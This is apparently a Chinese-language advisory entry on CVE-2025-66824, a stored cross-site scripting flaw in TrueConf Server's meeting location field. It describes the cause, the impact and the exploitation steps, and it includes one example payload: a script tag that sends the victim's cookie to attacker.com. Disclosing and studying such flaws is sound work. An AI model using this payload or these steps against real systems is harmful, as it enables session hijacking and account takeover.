CVE-2025-66824CVE-2025-66824是TrueConf Server v5.5.2.10813版本中发现的一个高危安全漏洞,位于会议管理功能的创建/编辑会议(Create/Edit Conference)模块中。具体问题出现在会议位置(Meeting location)字段,该字段在处理用户输入时未进行充分的输入验证和输出编码,导致攻击者可以通过meeting_room参数注入恶意JavaScript代码。攻击者注入的恶意脚本会被永久存储在服务器端,当其他用户访问会议信息(Conference Info)页面时,存储的恶意代码会在受害者浏览器中执行。由于TrueConf Server是企业级视频会议系统,用户会话通常具有较高的权限,攻击者可以利用存储型XSS漏洞窃取用户会话Cookie、劫持用户会话,进而实现完整的账户接管(Account Takeover, ATO)。此外,攻击者还可以利用该漏洞进行钓鱼攻击、篡改页面内容或重定向用户到恶意网站。此漏洞的CVSS评分为8.7,属于高危级别,需要低权限用户即可发起攻击,但需要用户交互才能触发。
该漏洞的根本原因是TrueConf Server在处理会议位置字段输入时缺少适当的输入验证和输出编码机制。攻击者可以通过以下步骤利用此漏洞:首先,攻击者登录TrueConf Server系统(低权限账户即可),然后导航到创建或编辑会议功能。在会议位置字段中,攻击者输入包含恶意JavaScript代码的payload,例如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于系统未对输入进行sanitization,恶意代码被直接存储在数据库中。当其他用户访问该会议的Conference Info页面时,服务器从数据库检索会议信息并将其嵌入到HTML响应中返回给用户浏览器。浏览器在解析HTML时,会执行其中的<script>标签内的JavaScript代码,从而触发攻击。攻击者可以利用JavaScript获取用户的认证令牌、Session ID或其他敏感信息,并将其发送到攻击者控制的服务器,实现会话劫持和账户接管。由于是存储型XSS,恶意代码会在所有访问该会议信息的用户浏览器中执行,影响范围广泛。